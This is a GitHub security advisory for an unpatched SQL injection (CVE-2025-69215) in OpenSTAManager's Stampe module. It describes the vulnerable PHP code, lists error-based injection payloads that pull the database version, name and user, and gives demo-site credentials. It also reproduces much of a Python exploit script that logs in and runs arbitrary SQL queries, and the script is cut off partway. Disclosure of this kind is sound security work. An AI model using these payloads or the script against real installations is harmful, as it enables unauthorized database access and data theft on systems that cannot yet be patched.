GitHub Advisoryadvisory · Packagist

GHSA-qx9p-w3vj-q24q OpenSTAManager has an SQL Injection in the Stampe Module

HIGH Published 2026-02-03 Modified 2026-02-04 Official page ↗
Aliases
CVE-2025-69215
Ecosystem
Packagist
Packages
devcode-it/openstamanager
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weaknesses
CWE-89
Reviewed
2026-02-03

Affected packages

• Packagist devcode-it/openstamanager: <= 2.9.8 (no fix yet)

Description

Vulnerability Details Location • File: `modules/stampe/actions.php` • Line: 26 • Vulnerable Code: ```php case 'update': if (!empty(intval(post('predefined'))) && !empty(post('module'))) { $dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module')); // ↑ Direct concatenation without prepare() sanitization } ``` Root Cause The `module` parameter from POST data is directly concatenated into an SQL UPDATE query without using the `prepare()` sanitization function. While the `predefined` parameter is validated with `intval()`, the `module` parameter only has an `!empty()` check, which does NOT prevent SQL injection. Vulnerable Pattern: ```php // Line 25: intval() protects predefined, but module is not sanitized! if (!empty(intval(post('predefined'))) && !empty(post('module'))) { // Line 26: Direct concatenation - VULNERABLE $dbo->query('UPDATE ... WHERE `id_module` = '.post('module')); } ``` Exploitation Vulnerable Endpoint ``` POST /modules/stampe/actions.php ``` Required Parameters ``` op=update id_record=1 predefined=1 (must be non-zero after intval()) module=[INJECTION_PAYLOAD] title=Test filename=test.pdf ``` Authentication Requirement • Requires valid authenticated session (any user with access to Stampe module) • VERIFIED: Users with "Tecnici" group access can exploit (NOT admin-only!) • PoC: Demo at https://demo.osmbusiness.it with credentials tecnico/tecnicotecnico Exploitation Type Error-based SQL Injection using MySQL's EXTRACTVALUE/UPDATEXML/GTID_SUBSET functions Proof of Concept Method 1: EXTRACTVALUE (MySQL 5.1+) ```python POST /modules/stampe/actions.php Content-Type: application/x-www-form-urlencoded op=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf ``` Result: Extracted Data: MySQL version `8.3.0` --- Method 2: GTID_SUBSET (MySQL 5.6+) ```python module=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1) ``` Result: Extracted Data: Database name `openstamanager` --- Method 3: UPDATEXML (MySQL 5.1+) ```python module=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1) ``` Result: Extracted Data: Database user `[email protected]` --- Automated Exploitation Full Exploit Script: `exploit_stampe_sqli.py` ```python !/usr/bin/env python3 """ SQL Injection Exploit - OpenSTAManager modules/stampe/actions.php Usage: python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local """ import requests import re import argparse import sys from html import unescape from urllib.parse import urljoin class StampeSQLiExploit: def __init__(self, base_url, username, password, verbose=False): self.base_url = base_url.rstrip('/') self.username = username self.password = password self.verbose = verbose self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' }) def login(self): """Authenticate with username and password""" login_url = urljoin(self.base_url, '/index.php') if self.verbose: print(f"[DEBUG] Attempting login to {login_url}") print(f"[DEBUG] Username: {self.username}") # First, get the login page to establish session resp = self.session.get(login_url) if self.verbose: print(f"[DEBUG] Initial GET status: {resp.status_code}") # Send login credentials with op=login parameter (required!) login_data = { 'username': self.username, 'password': self.password, 'op': 'login', # Required for OpenSTAManager } resp = self.session.post(login_url, data=login_data, allow_redirects=True) if self.verbose: print(f"[DEBUG] Login POST status: {resp.status_code}") print(f"[DEBUG] Cookies: {self.session.cookies.get_dict()}") # Check if login was successful if 'PHPSESSID' not in self.session.cookies: print("[-] Login failed: No session cookie received") return False # Check if we're redirected to dashboard or still on login page if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower(): print("[-] Login failed: Still on login page") if self.verbose: print(f"[DEBUG] Current URL: {resp.url}") return False print(f"[+] Successfully logged in as '{self.username}'") print(f"[+] Session: {self.session.cookies.get('PHPSESSID')}") return True def inject(self, sql_query): """Execute SQL injection payload""" # Use UPDATEXML instead of EXTRACTVALUE (works better on demo) payload = f"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)" target_url = urljoin(self.base_url, '/modules/stampe/actions.php') if self.verbose: print(f"[DEBUG] Target: {target_url}") print(f"[DEBUG] Payload: {payload}") response = self.session.post( target_url, data={ "op": "update", "id_record": "1", "predefined": "1", "module": payload, "title": "Test", "filename": "test.pdf" } ) if self.verbose: print(f"[DEBUG] Response status: {response.status_code}") print(f"[DEBUG] Response length: {len(response.text)}") # Unescape HTML entities first response_text = unescape(response.text) # Pattern 1: XPATH syntax error with HTML entities or quotes # Matches: XPATH syntax error: '~data~' or &#039;~data~&#039; xpath_match = re.search(r"XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE) if xpath_match: result = xpath_match.group(1) if self.verbose: print(f"[DEBUG] Extracted via XPATH pattern: {result}") return result # Pattern 2: Look in HTML comments (demo puts errors in comments) # comment_match = re.search(r"", response_text, re.DOTALL | re.IGNORECASE) if comment_match: result = comment_match.group(1) if self.verbose: print(f"[DEBUG] Extracted from HTML comment: {result}") return result # Pattern 3: tags codes = re.findall(r'(.*?)', response_text, re.DOTALL) for code in codes: clean = code.strip() if 'XPATH syntax error' in clean or 'SQLSTATE' in clean: match = re.search(r"~([^~]+)~", clean) if match: result = match.group(1) if self.verbose: print(f"[DEBUG] Extracted from : {result}") return result # Pattern 4: PDOException error format (as shown in user's example) # PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~data~' pdo_match = re.search(r"PDOException:.*?XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE | re.DOTALL) if pdo_match: result = pdo_match.group(…

Related

Alias · CVE (1)

  • CVE-2025-69215 OpenSTAManager is an open source management software for technical assistance and invoicing. vulnerability

Weakness · CWE (1)

  • CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness

References